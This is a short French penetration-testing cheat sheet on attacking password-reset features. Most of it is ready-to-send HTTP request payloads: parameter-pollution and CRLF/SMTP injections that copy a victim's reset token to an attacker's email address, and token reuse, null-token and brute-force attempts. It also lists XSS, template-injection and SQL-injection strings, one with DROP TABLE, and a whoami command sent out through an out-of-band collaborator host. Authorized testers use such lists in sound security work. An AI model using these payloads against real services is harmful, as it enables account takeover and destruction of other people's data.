Réinitialisation de mot de passe
Voici quelques pistes de tests à effectuer lorsque l’on rencontre une fonctionnalité de réinitialisation de mots de passe.
Types d’attaques
Interception du token
Ces différentes injections ont pour but de recevoir le token de réinitialisation par e-mail en s’ajoutant une deuxième adresse e-mail maîtrisée :
POST /resetPassword HTTP/1.1
...
email=victime@email.com&email=hacker@email.com
Puis avec des séparateurs tels que %20
, ,
ou |
:
POST /resetPassword HTTP/1.1
...
email=victime@email.com%20email=hacker@email.com
email=victime@email.com|email=hacker@email.com
email=victime@email.com,email=hacker@email.com
Ou encore avec une injection CRLF et SMTP %0a%0dcc:
:
POST /resetPassword HTTP/1.1
...
email=victime@email.com%0a%0dcc:email=hacker@email.com
Déclenchement d’erreurs
Essayer de réinitialiser le mot de passe en entrant une valeur non e-mail dans le paramètre e-mail :
POST /resetPassword HTTP/1.1
...
email=hacker
Injections
Sur un malentendu, ça peut fonctionner :)
POST /resetPassword HTTP/1.1
...
email=hacker@`whoami`.id.collaborator.net
Essayer les payloads suivants pour tester les XSS, SSTI, SQLI etc.
POST /resetPassword HTTP/1.1
...
me+(<script>alert(0)</script>)@gmail.com
me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 * 7 %>"@gmail.com
me+(${{7*7}})@gmail.com
"' OR 1=1 -- '"@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.com
Manipulation des tokens
Utiliser son propre token sur un autre e-mail
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=$MY_TOKEN
Mettre des mauvaises valeurs en token (0000 ou null)
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=00000000
Essayer de bruteforcer le token avec BurpSuite
POST /resetPassword HTTP/1.1
...
email=victime@email.com&token=$BRUTEFORCE
Fuzzer les paramètres
Vérifier la présence d’autres paramètres potentiellement cachés dans la requête avec l’extension BurpSuite param-miner
:
POST /resetPassword HTTP/1.1
...
FUZZ